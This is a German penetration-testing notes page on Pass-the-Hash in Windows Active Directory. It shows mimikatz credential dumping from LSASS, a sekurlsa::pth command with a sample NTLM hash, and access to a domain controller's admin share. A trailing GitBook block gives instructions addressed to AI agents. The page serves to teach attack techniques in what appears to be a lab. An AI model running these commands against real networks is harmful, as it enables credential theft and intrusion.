> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/pass-the-hash-on-windows.md).

# Pass-the-Hash unter Windows

Wenn sich eine Maschine mit einer SMB-Freigabe über eine IP statt über den Hostnamen verbindet, läuft die Authentifizierung oft über NTLM.

Beispiel:

```powershell
dir //172.16.0.10/c$
```

<figure><img src="/files/705526fc52ca2930d5eaae2c44f74b8bc669cf11" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
NTLM (NT LAN Manager) ist eine Suite von Sicherheitsprotokollen, die von Microsoft entwickelt wurde. Sie ermöglicht es vor allem, Benutzer in einem Computernetzwerk zu authentifizieren, das heißt, ihre Identität zu überprüfen, wenn sie versuchen, auf einen Computer, einen Server oder einen freigegebenen Ordner zuzugreifen. NTLM funktioniert, indem zwischen dem Benutzer und dem Server verschlüsselte Informationen ausgetauscht werden, um zu vermeiden, dass das Passwort direkt über das Netzwerk gesendet wird. Obwohl es in Windows-Umgebungen lange verwendet wurde, wird dieses Protokoll inzwischen nach und nach durch Kerberos ersetzt, das als sicherer und effizienter gilt.
{% endhint %}

Von `WS01`, sehen wir, dass der Zugriff vom bereits im Speicher geladenen Kontext abhängt.

Hier wird keine neue Authentifizierung angefordert, da der Prozess die bereits in `LSASS`.

```bash
 dir //172.16.0.10/c$
```

<figure><img src="/files/c7b57fb705bd79c917fcaf3540af9a563ab26bfc" alt=""><figcaption></figcaption></figure>

Wir können dann den NTLM-Hash eines anderen Kontos injizieren, zum Beispiel `administrador`.

```bash
./mimikatz.exe

sekurlsa::logonpasswords
```

<figure><img src="/files/bd1e6651e3b516b604693903345f65ab441a2094" alt=""><figcaption></figcaption></figure>

Mit `mimikatz`, führen wir einen Pass-the-Hash durch.

```bash
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

Eine neue Konsole öffnet sich im Kontext dieses Kontos.

Wir können dann mit dieser Identität auf die Ressourcen des Domänencontrollers zugreifen.

```powershell
dir //172.16.0.100/c$
```

<figure><img src="/files/44032e202ae87f726f189a466a86f02c598b53d8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
